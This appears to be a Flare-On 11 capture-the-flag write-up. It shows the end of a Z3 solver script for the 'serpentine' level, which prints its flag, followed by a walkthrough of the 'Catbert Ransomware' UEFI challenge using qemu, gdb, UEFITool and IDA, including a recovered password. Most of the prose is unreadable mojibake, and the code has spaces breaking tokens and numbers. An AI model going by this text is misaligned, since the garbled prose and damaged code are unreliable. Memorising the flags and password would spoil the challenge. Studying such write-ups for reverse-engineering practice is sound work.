result - = flag_ext[ 24] * 0x0000000000d7eb3b 
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result += 0x36f6829d  
re sult - = flag_ext[ 28] * 0x0000000000ad52e1 
result ^= 0x6ce2181a 
result - = 0xf39b4443  
result += 0x100000000 
block13 = (result ) == 0 
 
result = flag_ext[ 29] * 0x0000000000725059 
result ^= 0xa8b69f6b  
result += flag_ext[ 17] * 0x00000000006dcfe7  
result ^= 0x653c249a 
result += flag_ext[ 1] * 0x00000000008f4c44  
result ^= 0x68e87685 
result - = flag_ext[ 9] * 0x0000000000d2f4ce  
result - = 0x87238dc5 
result ^= flag_ext[ 13] * 0x0000000000e99d3f  
result += 0xed16797a 
result += flag_ext[ 5] * 0x0000000000ada536 
result - = 0x95a05aa9 
result - = flag_ext[ 25] * 0x0000000000e0b352 
result ^= 0x43c00020 
result += flag_ext[ 21] * 0x00000000008675b6 
result += 0x34a29213 
result - = 0x20196a7e 
block14 = (result ) == 0 
 
result = flag_ext[ 2] * 0x00000000004a5e95 
result += 0x5ed7a1f1  
result += flag_ext[ 22] * 0x00000000003a7b49 
result ^= 0x87a91310 
result - = flag_ext[ 6] * 0x0000000000f27038  
result ^= 0xf64a0f19  
result += flag_ext[ 30] * 0x0000000000a187d0 
result - = 0xbbcc735d 
result - = flag_ext[ 18] * 0x0000000000fc991a  
result ^= 0xf9ddd08f  
result - = flag_ext[ 26] * 0x00000000004e947a 
result - = 0x59a9172e 
result ^= flag_ext[ 14] * 0x0000000000324ead 
result - = 0x969a7a64 
result - = flag_ext[ 10] * 0x0000000000656b1b 
result += 0x8c112543 
result - = 0xc1db45c7 
result += 0x300000000 
block15 = (result ) == 0 
 
result = flag_ext[ 11] * 0x0000000000251b86 
result += 0xa751192c 
result - = flag_ext[ 7] * 0x0000000000743927 
result ^= 0xf851da43  
result ^= flag_ext[ 31] * 0x00000000009a3479 
result ^= 0x335087a5 
result ^= flag_ext[ 3] * 0x0000000000778a0d 
result ^= 0x4bfd30d 3 
result - = flag_ext[ 27] * 0x00000000007e04b5 
result - = 0x5d540495 
result ^= flag_ext[ 19] * 0x0000000000f1c3ee  
result += 0x460c48a6 
result += flag_ext[ 15] * 0x0000000000883b8a 
result ^= 0xfcd00f24  
result += flag_ext[ 23] * 0x0000000000993db1 
result += 0xa98b27fa  
result - = 0x22087cd4 
result - = 0x200000000 
#000000017b55360e 
#ffffffff7b55360e  
block16 = (result ) == 0 
 
result = flag_ext[ 16] * 0x0000000000bae081 
result += 0x2359766f  
result ^= flag_ext[ 24] * 0x0000000000c2483b 
result += 0xea986a57 
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result - = flag_e xt[ 28] * 0x0000000000520ee2 
result ^= 0xa6ff8114  
result += flag_ext[ 8] * 0x00000000009864ba 
result += 0x42833507 
result - = flag_ext[ 0] * 0x00000000007cd278 
result ^= 0x360be811 
result ^= flag_ext[ 4] * 0x0000000000be6605 
result - = 0x4c927a8d 
result += flag_ ext[ 20] * 0x00000000003bd2e8 
result += 0xb790cfd3  
result - = flag_ext[ 12] * 0x0000000000548c2b 
result += 0x2a0e04cc 
result - = 0x21328792 
result - = 0x200000000 
# 0000000117e225cc  
# ffffffff17e225cc  
block17 = (result ) == 0 
 
result = flag_ext[ 17] * 0x0000000000fb213b  
result - = 0x6773d643 
result ^= flag_ext[ 9] * 0x0000000000de6876 
result ^= 0x8649fde3  
result ^= flag_ext[ 29] * 0x0000000000629ff7  
result ^= 0xa0eeb203 
result - = flag_ext[ 25] * 0x0000000000dbb107 
result ^= 0x94aa6b62 
result - = flag_ext[ 1] * 0x0000000000262675 
result - = 0xdfcf5488  
result += flag_ext[ 5] * 0x0000000000d691c5 
result - = 0x5b3ee746 
result - = flag_ext[ 13] * 0x0000000000cafc93  
result - = 0x111bde22 
result - = flag_ext[ 21] * 0x000000000081f945  
result - = 0x90033b08 
result - = 0x6349d7cf  
result += 0x300000000 
# fffffffd4cae6e8b  
# 000000004cae6e8b  
block18 = (result ) == 0 
 
solver. add(block1, block2, block3, block4,  
           block5,block6, block7, block8,  
           block9, block10, block11, block12,  
           block13, block14, block15, block16,  
           block17, block18)  
# Check if the constraints are satisfiable  
if solver. check () == sat:  
    model = solver. model()  
    # Extract the values for the flag bytes from the model  
    solution = [model[flag[i]]. as_long () for i in range ( 32)]  
    # Conver t solution to ASCII characters  
    flag_str = '' . join ( chr (c) for c in solution)  
    print ( "Flag:" , flag_str)  
else :  
    print ( "No solution found." )  

˧˸ˮˮ˩˸ ˰˧ˠˢ˪ ˪πнл ˪˟˞ ˧˸˸ˮ ˢˤ˪ ˳ˣ˶˪ ˪˰ му ˫˧˟ˣ˟˧˯ ˢ˟˶ˬ˪ˣ ˧˸ˬˢˡ˸ ˶˵˧˰˟ˣ ˧˸˥ˬ˷ Σ˧˶˥˞ ˩πмф ˸ˣ˵ˡ 

ˢˤ ˯˧˲ˡˢ ˸˞ ˦˪˵ˢ ˭ˣ˩ˮˢΥ 

пψϷϷlway5_k3ep_mov1ng_and_m0ving 

˧ˮ˞ ˰ˡˣ˧ ˢˤ˷ ˦˪˵ˢ ˭ˣ˩ˮˢ ˧˩ ˧˸ˮˤˢ˷˩ ˣ˸ˣ˞ ˧˶˞ˮ˧˟˪ Σ˧˸˪˟˧˵ ˸˞ ˪ˠˡˢΥ 

PS C:\ ctfs \ f lare11 - windows\ f lare \ l evel 9> . \ serpentine.exe 
'$$_4lway5_k3ep_mov1ng_and_m0ving'  
Flag: $$_4lway5_k3ep_mov1ng_and_m0ving@flare - on.com 

 

ˣˬ˧˷ ˟˪ ˧˸˲˦˰˷ ˸˞ ˦ˮˬˣˠ˶˞ˢ ˫˧˧˷˶ˠ˟ ύsingle quotes ό˸˶˥˞ ˢˤ ˢ˷ˣ˰ ˸ˣ˧˰˟ Φ˨ˣ˶˟ ˣˮ˶˦˲˷! J 
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˶ˠ˸˞ˢ ˧˶˧˷˰ˢ π Catbert Ransomware 

˶ˠ˸˞˟ ˪˟˵ˮ ˧ˮ˷ ˫˧˴˟˵ Σˡ˥˞ˢ ˞˶˵ˮ bios.bin ˧ˮ˷ˢˣ ˞˶˵ˮ disk.img Φ˸ˣ˟˶ ˧˸˧˷˰ ˧ˡ˩ ˸ˣ˪ˠ˪ ˢˬ ˢˤ 

˫˧˴˟˵ˢ ˢ˪˞ˢ Φˣ˪˧˞ ˵˶ ˧˸˪ˣ˩˧ ˞ˣ˶˵˪ ˭˧ˬ˞ˢ˪ˣ ˢˬ˪ ˧ˮ˞˷ ˞˶ˣ˵ Σ˧˸˧˧ˢ ˨˯ˣ˥ ˧ˬ˴˰˪ ˢ˟˶ˢ ˭ˬˤ Φ˱ˣ˯˟ ˧˸˴˶ˢ 

binwalk ˟xπdisk.img ˧˸˞˴ˬ ˫˧˴˟˵ ˫˧ˮ˲˴ˣˬ ˟xπbios.bin ˧˸˞˴ˬ ˳˟ˣ˵ PE ˸ˣˤˣ˶˥ˬˢ˷ ˣ˟˷ ˣˤˬ˶ ˧˪ 

˶˟ˣˡˬ˷ ˸ˬ˞˟ ˟πBIOS Σˣ˞ UEFI ˫˞ ˢ˧ˢˮ ˶˸ˣ˧ ˫˧˵˧ˣˡˬΦ 

˧˶˥˞ ˸˴˵ ˷ˣ˲˧˥ ˸˷˶˟ ˸˴˵ˣ ˢ˶ˤ˰ ˬπGPT ˧˸ˮ˟ˢ ˶˷˲˞˷ ˳˧˶ˢ˪ ˸˞ ˢˤ ˫˰ qemu ˸˶ˤ˰˟ ˢˡˣ˵˲ˢΥ 

qemu- system- x86_64 - drive file=disk.img,format=raw - bios bios.bin  

˶˥˞˪ ˳˧˶ˮ˷ ˪˟˵ˮ ˸˞ ˨˯ˬˢ ˞˟ˢΥ 
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˷˧ ˡˣ˰ ˨˷ˬˢ ˦˯˵˦˪ ˪˟˞ ˞ˣˢ ˸ˣ˥˲ ˭˧˧ˮ˰ˬ Φ˱ˣ˯˟ ˶ˬ˞ˮ ˣˮ˪Υ 

Type 'fs0:' to access a mounted disk.  

˭˧ˤˮ ˸˞ ˢˡˣ˵˲ˢ ˸˞ˤˢ ˢ˞˶ˮˣ ˪ˮ˧ˬ˶˦ˢ˷ ˣˮ˪˷ ˢˮ˸˷˧ ˦˰ˬΥ 

 

 

ˣˬ˩ ˫˸˞˷ ˫˧˞ˣ˶ ˧˸˧˯˧ˮ ˥ˣ˪˷˪ ˪˟ˤ ˢˤˣ ˶ˬ˞ ˧˪ ˢˡˣ˵˲ˢ˷ ˞˪ ˸ˬ˧˧˵ Σˤ˞ ˢˤ˧˞ ˸ˣˡˣ˵˲ ˭˩ ˸ˣˬ˧˧˵ Σˢ˯ˮˮ ˸˞ 

ˣˮ˪ˤˬ ˫˰ help ˪˟˵ˮˣ ˦˪˲ ˫˰ ˪˩ ˸ˣˡˣ˵˲ˢΦ 

 ˷˧ ˞˪ ˦˰ˬ ˸ˣˡˣ˵˲ Σ˭˟ˣ˶ ˸ˣˡˣ˵˲ ˯˵ˣˮ˧˪ ˸ˣ˪˧ˠ˶ Σ˪˟˞ ˢˮ˷˧ ˢˡˣ˵˲ ˸˥˞ ˢ˯˲˸˷ ˧˪ ˸˞ ˭˧˰ˢΥ 

 

 

˸ˣ˧ˢ ˶˟ˣˡˬˣ ˟πransomware Σˢ˞˶ˮ˩ ˨˧˶˴ ˲˪˥ˮ˰ ˫˧˴˟˵ Σ˳˧˶ˮ ls ˶˩ˤ˧ˮˣ ˭ˮˣ˩˟˷ ˣˮ˪˷ ˸ˬ˞˟ ˷˧ ˫˧˴˟˵ 

˫˧ˮ˲˴ˣˬΥ 

 

 

ˢ˯ˮˮ ˥ˮ˰˲˪Υ 

 

 

ˢ˞˶ˮ ˢˤ˷ ˞˪ ˟ˢ˞ ˸˞ ˢˬ˯˧˯ˢ ˧˪˷ Σ˨˧˶˴ ˞ˣ˴ˬ˪ ˸˞ ˢˬ˯˧˯ˢ ˧ˡ˩ˣ ˸ˣ˷˰˪ ˸˞ˤ ˨˧˶˴ ˞ˣ˴ˬ˪ ˢ˲˧˞ ˪˪˩˟ 

ˡˣ˵ˢ ˳˧˶ˬ˷ ˸˞ ˢˡˣ˵˲ˢ decrypt_file Φ 

˫˧˶˩ˣˤ ˧˸˶ˬ˞˷ ˶˟ˣˡˬ˷ ˟πUEFI ˤ˞ ˷ˬ˸˷ˮ ˟πUEFIToolΚ 

  

https://github.com/LongSoft/UEFITool
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˭˰˦ˮ ˸˞ ˳˟ˣ˵ˢ bios.bin ˧˪˩˟ ˢˤˢ Σ˷˲˥ˮˣ ˸˞ ˸ˤˣ˶˥ˬˢ decrypt_file ˪˰ ˧ˡ˧ Action->SearchΥ 

 

˧˲˩ ˫˧˞ˣ˶˷ Σ˪˩ ˸ˣ˞˴ˣ˸ˢ ˸ˣ˪˧˟ˬ ˳˟ˣ˵˪ FullShell ˳˥˪ˮ ˪˰ ˸˥˞ ˸ˣ˞˴ˣ˸ˢ ˰˧ˠˮˣ ˭ˣ˪˥˪ ˣˮˬˬ˷ ˶˷˲˞ ˳˪˥˪ 

˸˞ ˳˟ˣ˵ˢ ˨˩Υ 
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˥˸˲ˮ ˸˞ ˳˟ˣ˵ˢ ˟πIDA ˷˲˥ˮˣ ˸˞ ˢ˪ˣ˰˲ˢ ˸ˮ˧˧ˮ˰ˬˢ ˣˮ˸ˣ˞ Σ˸ˬ˞ˢ ˢˤ˷ ˷ˬˬ ˪˵ ˞ˣ˴ˬ˪ ˧˩ ˸ˣ˞˴ˣ˸˟ 

˷ˣ˲˧˥ ˪˷ UefiTool ˢˤ ˶ˬ˞ ˣˮ˪ ˵ˣ˧ˡ˟ ˢ˲˧˞ ˸ˤˣ˶˥ˬˢ ˸˞˴ˬˮ ˳˟ˣ˵˟ ύˢ˰˟˶˞ ˸ˣˬˣ˵ˬ Σόˤ˞ ˵˶ ˷ˠ˧ˮ 

˸ˣˬˣ˵ˬ˪ ˢ˪˞ˢ ˟πIDA ˪˰ ˧ˡ˧ Jump -> Jump to File Offset ˭˧ˤˮˣ ˸˞ ˫˧˦˯˲ˣ˞ˢ Φ˫˷ˬ ˷˲˥ˮ x-refs ˡ˰ 

˞˴ˬˮ˷ ˢ˪ˣ˰˲ ˸˧˞˶ˮ˷ ˣˬ˩ ˸˪ˣ˰˲ ˥ˣˮ˰˧˲ˢ Φ˱ˣ˯˟ ˧˸˞˴ˬ ˢ˪ˣ˰˲ ˷˧˷ ˢ˟ ˫˧˯ˮ˶˲˶ ˪πdecrypt_file 

˨˷ˬˢˢˣ ˢ˪˷ ˢ˞˶ˮ ˨˩Υ 

 

˶˷˲˞ ˸ˣ˞˶˪ ˢˤ˷ ˯˧˲ˡˬ ˸˞ ˸ˣˬ˩ ˫˧˸˟ˢ ˣ˞˶˵ˮ˷ Σˢ˞˶ˮ ˣˬ˩ ˦˪˲ˢ ˣˮ˪˟˧˵˷ Φˣˮ˥ˮ˞ ˫ˣ˵ˬ˟ ˭ˣ˩ˮˢ Φˣ˧˷˩˰ 

˸˪˞˷˪ ˭ˣ˧˪˧ˬ ˶˪ˣˡˢ Σˢ˲˧˞ ˢˤ ˞ˡˣˣˬ ˸˞ ˢˬ˯˧˯ˢ Κˡˣ˵ˢ ˧l ˤ˧ˠ˶ˬ ˥˸ˮ˪ ˸˧˦˦˯ Σˤ˞ ˧˸˦˪˥ˢ ˟ˣ˵˰˪ 

˸˧ˬ˞ˮ˧ˡ Φ˵˧˪ˡˮ ˸˞ qemu ˷ˡ˥ˬ ˪˟˞ ˫˰˲ˢ ˫˰ ˫˧˪ˠˡ ˫˧˲˯ˣˮΥ 

qemu- system- x86_64 - drive file=disk.img,format=raw - bios bios.bin - s - S 

πsS ˢ˪ˣˡˠˢ ˸ˬ˶ˣˠ ˪πqemu ˪˧˥˸ˢ˪ ˟πpaused mode ˧ˡ˩ ˪˩ˣˮ˷ ˫˧˷˪ breakpoints ˧ˮ˲˪ ˢˤ˷ ˳˶Φ 

πss ˢˮ˦˵ˢ ˸ˬ˶ˣˠ ˪πqemu ˥ˣ˸˲˪ ˸˶˷ ˦˶ˣ˲˟ мноп ˧ˡ˩ ˪˩ˣˮ˷ ˶˟˥˸ˢ˪ ˣ˧˪˞ ˫˰ gdb ˠ˟ˡ˪ˣ ˪˰ ˧ˡ˧ 

ˢˡˣ˵˲ˢΥ 

gdb - ex "target remote :1234"  

˭˟ˣˬ˩ ˪˧˥˸ˮ˷ ˠ˟ˡ˪ Σ˪˟˞ ˣ˧˷˩˰ ˷˧ ˣˮ˪ ˢ˧˰˟ ˢ˷ˡ˥ Σ˨˧˶˴ ˞ˣ˴ˬ˪ ˸˞ ˧˶˞ˮ˧˟ˢ ˭ˣ˶˩˧ˤ˟ ˧ˡ˩ ˫˧˷˪ ˣ˧˪˰ 

breakpoints ˣˬ˩ ˨˧˶˴˷Φ 
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 ˪˧˟˷˟ ˢˤ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˸˞ s-memory mappings ˪˷ qemu ˤ˞ ˱˧˯ˣˮ ˡˣ˰ ˦ˮˬˣˠ˶˞ ˢˡˣ˵˲˪Υ 

qemu- system- x86_64 - drive file=disk.img,format=raw - bios bios.bin - s - S - monitor stdio  

˦ˮˬˣˠ˶˞ˢ ˱˯ˣˮˢ ˥˸˲˧ ˣˮ˪ ˸˶ˣ˷ ˢˡˣ˵˲ ˪˷ qemu ˣ˸ˣ˞˟ ˭ˣ˪˥ ˪˷ ˢ˴˶ˢˢ Σˢˤ ˶˷˲˞˧ ˣˮ˪ ˳˧˶ˢ˪ ˸˞ 

ˢˡˣ˵˲ˢ info mem ˧ˡ˩ ˸ˣ˞˶˪ ˸˞ sπmemory layout ˪˷ ˨˧˪ˢ˸ˢ Φˣˬ˧˷ ˟˪ ˫˸˞˷ ˫˧˴˧˶ˬ ˸˞ ˢˡˣ˵˲ˢ 

˧˶˥˞ ˫˸˞˷ ˫˧˰˧ˠˬ ˨˯ˬ˪ ˧˷˞˶ˢ ˪˷ ˸ˮˣ˩ˬˢ Malware Σ˸˶˥˞ ˢˤ ˢ˞˶˧ ˫˩˪ ˧ˢ˷ˤ˧˞ ˢ˞˧ˠ˷ ˣˬ˩ 

ˢˮˣˬ˸˟Υ 

 

ˣ˧˷˩˰ ˣˮ˥ˮ˞˷˩ ˫˧˰ˡˣ˧ ˸˞ sπmemory range ˧˶˞ˮ˧˟ˢ˷ ˪˩ˣˬ x˟ Σ˶˷˲˞ ˷˲˥˪ ˫˧˰ˣ˟˵ ˧˶˞ˮ˧˟ˢˬ ˸˶ˤ˰˟ 

gdb ˟˷˥˪ˣ ˸˞ ˫ˣ˵˧ˬˢ ˪˷ sπFullShell ˣˮ˪˷ ˭ˣ˶˩˧ˤ˟ Φˢ˶˵ˬ˟ ˧˪˷ ˧˸˶˥˟ ˯ˣ˲˸˪ мс ˫˧˸˟ ˦˯˲ˣ˞ˢˬ 

0x86B00 ˳˟ˣ˵˟ ˷˲˥˪ˣ ˫˸ˣ˞ ˭ˣ˶˩˧ˤ˟ κ˷ˬ˸˷ˮ ˸ˡˣ˵˲˟ find ˟πgdb ˪˰ ˸ˮˬ ˞ˣ˴ˬ˪ ˸˞ ˫˧˸˟ˢΥ 

find /b 0x0000000000000000, 0x0000000006800000, 0x21, 0x03, 0x33, 0x4D, 0x5F, 0x02, 
0xAC, 0x4A, 0x90, 0xD8, 0x5E,  0xD9, 0x00, 0x17, 0x3B, 0x63  

˸ˣ˟ˣ˸˩ˢ ˢ˪˥˸ˢ˟ ˭s ˢ˷˰ˬ˪ ˫˧˥ˣˣ˦ˢ ˣˮ˧˞˶˷ ˢˮˣˬ˸˟ ˸ˬˡˣ˵ˢ Φˢˮ˷ˮ ˸˞ ˫˧˥ˣˣ˦ˢ ˡ˰ ˞˴ˬˮ˷ Φ˸ˬ˞ˢ 

ˢˡˣ˵˲ˢ˷ ˢ˪˰ˬ˪ ˢ˵˧˲˯ˬ Φ˷˧ ˵˶ ˢ˧˰˟ ˸˥˞ Σˣ˯˲ˡˣˢ ˧˪ ˷ˣ˪˷ ˸ˣ˟ˣ˸˩Υ 

0xf03234  
0x5d1fb00  
0x6004b34  

˪˟˞ ˫˧˷ˮ ˟˪ ˵˶˷ ˸˟ˣ˸˩ˢ ˢ˧˧ˮ˷ˢ ˢˬ˧˞˸ˬ ˸˟ˣ˸˩˪ ˷˲˧˥˷˧˸ Φˢ˷ˣ˪˷ sπnibbles ˫˧ˮˣ˶˥˞ˢ ˫˧ˢˤ Σ

˧ˣ˲˴˩ Φˣ˧˷˩˰ ˶˯˥ˮ ˸˞ ˦˯˲ˣ˞ˢ ˣˮ˷˲˧˥˷ ˸˟ˣ˸˩ˢˬ ˣˮ˞˴ˬ˷ ˪˟˵ˮˣ ˸˞ ˸˟ˣ˸˩ ˯˧˯˟ˢ Φ˪˩ˣˮ ˸ˣˮ˷˪ ˫ˠ ˟π

IDA ˸˞ ˸˟ˣ˸˩ ˯˧˯˟ˢ ˧ˡ˩ ˸˟ˣ˸˩ˢ˷ ˫˷ ˣˬ˧˞˸˧ ˸˟ˣ˸˩˪ ˶ˠ˞˟˧ˡ˟ ˢ˧ˢ˧ˣ ˣˮ˪ ˪˵ ˞˴ˬ˸ˢ˪Φ 

˶ˡˢˮ Σˣ˧˷˩˰ ˰˧ˠˢ ˭ˬˤ ˠˮ˧ˠ˞˟˧ˡˢ Σ˫˧˷ˮ breakpoint ˡ˧ˬ ˶˥˞ ˧ˢˤ˷ ˯˧˲ˡˬ ˣˮ˪ ˢ˰ˡˣˢ ˪˰ ˸ˣˬ˩ ˫˧ˣˣ˸ˢ 

ˣ˞˶˵ˮ˷ ˢ˥˪˴ˢ˟Υ 

˥˪˷ˮ ˟ˣ˷ ˸˞ ˸ˡˣ˵˲ ˥ˣˮ˰˧˲ˢ ˫˰ ˳˟ˣ˵ ˭˲˴ˣˬ ˢˬ˯˧˯ˢˣ мнопрсту ύx˞ ˪˩ ˢˬ˯˧˯ ˸˶˥˞ ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ ό

ˢ˞˶ˮˣ ˶ˠ˞˟˧ˡˢ˷ ˭˩˞ ˶˴ˣ˰ ˫˷Φ 
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˟ˣ˵˰ˮ ˡ˰ ˸˯˲ˡˢ ˢ˞˧ˠ˷ ˢ˪ˠˮˣ ˸˞ ˫ˣ˵ˬ ˸˯˲ˡˢ ˢ˞˧ˠ˷ˢΥ 

 

˷˧ ˨˶˰ ˧ˮ˞˧˪ˣ˟ ˫˞˷ ˞ˣˢ ˯˲˞ ˤ˞ ˥ˮ˞ˣˮ ˫˧˪˷˩ˮ Σ˪˟˞ ˫ˠ ˫˞ ˫˧˴˲ˣ˵ ˪πLABEL_73 Φ˨˶˰ˢ ˧ˮ˞˧˪ˣ˟ˢ ˪˧˥˸ˬ 

˸˶˧˶˟˩ ˪ˡ˥ˬ ˯˲˞˩ ˷˧ˣ ˵˶ ˫ˣ˵ˬ ˡ˥˞ ˪ˣ˩˧˷ ˸˧˪˞˧˴ˮ˦ˣ˲ ˸ˣˮ˷˪ ˣ˸ˣ˞ Σ˪˟˞ ˧ˮ˞ ˫˧ˡ˵ˬ ˸˞ ˶˥ˣ˞ˬˢ Φˢˤ 

˞˪ ˢˬ ˫˶ˠ˷ ˸˯˲ˡˢ˪ ˢ˞˧ˠ˷ˢ Σ˞˧ˢ ˢˬ˶ˠˮ ˪˪ˠ˟ ˢ˴˧˲˵ ˪πLABEL_73 ˡˣ˵ˢˬ ˞˟ˢΥ 

 

˧˶˥˞ ˡˣ˰ ˸˴˵ ˠˮ˧ˠ˞˟˧ˡ ˧˸˧˪˧ˠ ˶˟ˣˡˬ˷ ˸˵˧ˡ˟˟ ˨˶ˣ˞ ˪˰ ˢˬ˯˧˯ˢ ˣˮ˪˷ Φ˶˶˟˸ˬ ˢˬ˯˧˯ˢ˷ ˣˮ˪˷ ˢ˩˧˶˴ 

˸ˣ˧ˢ˪ ˨˶ˣ˞˟ мс ˫˧˸˟ Φˣ˧˷˩˰ˣ ˶ˣˤ˥ˮ ˫ˣ˵ˬ˪ ˡ˧˥˧ˢ ˪ˣ˩˧˷ ˸ˣˮ˷˪ ˸˞ ˨˶˰ ˪ˠˡˢ ˪πм Φ˶˶˟˸ˬ ˣˤ˷ ˢ˪ˣ˰˲ˢ 

˷ˬˬ ˧ˮ˲˪ ˢ˵˧ˡ˟ˢ ύ˰˧˸˲ˬ Σ˧ˮ˞ ˰ˡˣ˧ Φό 

˶ˣ˵˥ˮ ˸˞ ˢ˪ˣ˰˲ˢ ˸˞ˤˢ ˶˥˞˪ˣ ˸ˣ˵ˡ ˸ˣ˦˰ˣˬ ˢ˪ˠˮ ˶˟ˣˡˬ˷ ˶ˣ˦˪ˣˬ˧˞˟ ύx˞ ˣˬ˩ ˟ˣ˶˷ ˫˧˷ˮ˞ˢ ˫˧ˮ˩ˬ Σ

˭˲ˣ˞˟ ˧ˣˠ˷ Σˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣ Φό˭ˣ˧˰˶ˢ ˧˶ˣ˥˞ˬ ˶ˣ˦˪ˣˬ˧˞ ˞ˣˢ ˶ˣ˴˧˪ ˢ˧˴˵˶˦˯˟˞ ˸˲˯ˣˮ ˡˣ˵˪ Σ˪˰ ˸ˮˬ 

˸ˣ˷˵ˢ˪ ˪˰ ˢˮ˟ˢˢ ˣ˪˷ Φ˨˶ˡ˟ ˪˪˩ ˶˷˲˞ ˸ˣˢˤ˪ ˶ˣ˦˪ˣˬ˧˞ ˪˰ ˧ˡ˧ switch statements x˞ ˢ˞˪ˣ˪ 

˸˧˲ˣ˯ˮ˧˞ Σˢˤ ˦˪ˣ˟ ˡˣ˞ˬ Φˢ˶˵ˬˢ ˢˤˢ ˞ˣˢ ˞˪ ˢˮˣ˷Φ 
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˨˩ ˸˧˞˶ˮ ˸˪˧˥˸ ˣ˰˲ˢˢ˪Υ 

 

ˤ˞ ˢ˧ˢ˞ ˭˩ ˢˡˣ˞ˣ ˢ˪˥˸ˢ˟˷ ˧˸˧˯˧ˮ ˭˧˟ˢ˪ ˶ˣ˸˲˪ ˸˞ ˶ˠ˸˞ˢ ˢˤˢ ˨˶ˡ˟ ˢ˪˧ˠ˶ˢ π ˭˧˟ˢ˪ ˸˞ ˸ˣˡˣ˵˲ˢ Σ

˞˧˴ˣˢ˪ ˸˞ ˡˣ˵ˢ ˰˴ˣ˟ˬ˷ Σ˟ˣ˸˩˪ ˶˪˟ˬ˯˞˯˧ˡκ˶˪˧˧˲ˬˣ˵˧ˡ ˢ˩˩ˣ ˥˴ˮ˪ ˸˞ ˶ˣ˦˪ˣˬ˧˞ˢ Φ˨˞ ˶ˠ˸˞ˢ ˫ˡˣ˵ˢ 

˷˧˸ˢ ˧˸ˣ˞ ˡˣ˞ˬ ˧˸˞˴ˬˣ ˸˲˵˸ˬ ˳ˣ˶˰ ˧ˡˡ˴ ˸ˮ˧˧ˮ˰ˬ ˡˣ˞ˬ Φ˶˟˰ˬ˟ ˪˰ ˧˴˪˧˲ˬˣ˵˧ˡˢ s˪˷ ˡˣ˵ˢ Σ˷˧ ˵˶ 

˫ˣ˵ˬ ˡ˥˞ x˟ ˷˧ ˢ˞ˣˣ˷ˢ ˭˧˟ ˫˧˩˶˰Υ 

 

˧˸ˬ˷ x˟ breakpoint Σ˧˸ˮˤˢ ˢˬ˯˧˯ ˢˬˠˣˡ˪ ˸˟ мс ˫˧ˣˣ˸ ύˢ˪ˣ˩˷ ˫˧˯˲˞ ό˧˸˧ˣˣ˧˵ˣ ˸ˣ˞˶˪ ˫˧ˣˣ˸ ˢˬ˯˧˯ˢˬ 

˧˪˷ ˢ˞ˣˣ˷ˢ˟ Φ˞˪˷˩ ˣ˧ˢ ˢ˪˞˩ ˦ˣ˷˲ ˧˸˧˷˰ continue Φ˪˟˞ ˧˸˰˸˲ˢ˪ ˧˸˞˴ˬ ˢ˶ˢˬ˟ ˸˞ ˫˧ˣˣ˸ˢ 

˧˸ˮˤˢ˷Υ 
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˪˷ˬ˪ ˢ˞ˣˣ˷ˢ˟ ˣ˷˞˶ˢˢˮ ˧˸˧˞˶˷ Σ˧˸˧˞˶ ˸˞ ˣ˸ˢ ˧˪˷ ˪˞ˬ˷ˬ ˢ˞˶ˮ˩ˣ ˣ˸ ˶ˣ˷˵˷ ˪ˠˡ˪ ˭˧ˬ˧ˬ Κ˧˸˦˪˥ˢ 

˶ˣˬ˷˪ ˸˞ ˪˩ ˫˧˩˶˰ˢ ˫˧˰˧˲ˣˬ˷ ˭˧ˬ˧ˬ ˧ˣˣ˸˪ ˢˬ˯˧˯ˢ ˧˪˷ ύ˸˪ˣ˰˲˟ ˶ˣ˯˧˥ Φόˢ˧˰˟ˢ ˧˶˥˞˷ ˢˤ˷ ˪˵˸ˮ ˣ˸˟ 

ˢˮˣ˷ Σˢˤ ˵˧˯˲ˬ Φ˭ˣˣ˧˩ˢ ˢ˪ˣ˰ˬ Σˢ˞˶ˮ ˸˞ˤ˷ ˦ˣ˷˲ ˢ˞ˣˣ˷ˢ ˸˧˦˦˯ Σ˪˟˞ ˢˤ ˸˴˵ ˷˧˸ˬ Σ˪˩ ˫˰˲ ˨˧˶˴ 

ˠ˟ˡ˪ Σ˪˞ˣ˴ˬ ˸˞ ˣ˸ˢ ˞˟ˢ Σ˸˸˪ ˢˤ˪ ˫˧˧˸˯ˢ˪ ˤ˞ˣ ˭˧ˤˢ˪ ˸˞ ˢˬ˯˧˯ˢ ˷ˡ˥ˬ Σ˶˷˲˞ ˸ˣˮ˷˪ sπZF ˤ˞ˣ ˪˩ˣˮ 

˸ˣ˷˰˪ ˪˩ˢ ˢ˴˧˶˟ ˸˥˞ Σˢ˩˩ x˞ ˢ˩˩ Σ˭ˣˣ˧˩ˢ ˢ˞˶ˮ ˟ˣ˦ ˧˶˥˞ˣ ˱ˣ˯˞ˮ˷ ˸˞ ˪˩ ˫˧˩˶˰ˢ ˯˧ˮ˩ˮˣ ˫˸ˣ˞ 

ˢˬ˯˧˯˪ ˣˮ˪˷ ˢ˪ˠˮ ˸˞ˤ˷ ˭˩˞ ˢˬ˯˧˯ˢ ˢˮˣ˩ˮˢΥ 

DaCubicleLife101  

˶ˡˢˮ Σ˥ˮ˰˲ˮ ˸˞ ˳˟ˣ˵ ˶˲˯ˬ мΥ 

 

ˢ˞˪ˢ ˳˟ˣ˵˪ н Σˢ˸ˣ˞ ˢˬ˯˧˯ ˞˪ ˡˣ˟˰˸ ˣˮ˪ Σ˫ˠ ˵˧˶˦ˢ ˞˪ ˡˣ˟˰˧ ˣˮ˪ Σˢ˞˶ˮ ˞˪˷ ˶˟ˣˡˬ ˢ˞ˣˣ˷ˢ˟ ˸˧˦˦˯Υ 

 

˧˸˯ˮ˩ˢ ˵˶ ˫˧˯˲˞ ˶ˣ˸˟ ˢˬ˯˧˯ˢ ˪˟˞ ˧ˮ˞ ˞˪ ˢ˞ˣ˶ ˭˞˩ ˫ˣ˷ ˯˲˞ Φ˧ˮ˞ ˞˪ ˨˪ˣˢ ˶˸ˣˣ˪ ˪˰ ˢ˲˵˸ˬˢ ˸˞ˤˢ π 

˧˸˟˷˥ ˧ˬ˴˰˪ Φ˶˟ˣˡˬ ˫˧˩˶˰˟ ˫˧ˮ˦˵ Σ˥˦˟ ˢ˶ˣ˵ ˣˢ˷ˬ ˦ˣ˷˲ Φ˧˸˷˥˧ˮ ˶ˣ˯˵ Φ˟ˢˬ˯˧˯ ˸ˬˡˣ˵ˢ ˨˶˰ˢ ˡ˴˟ 

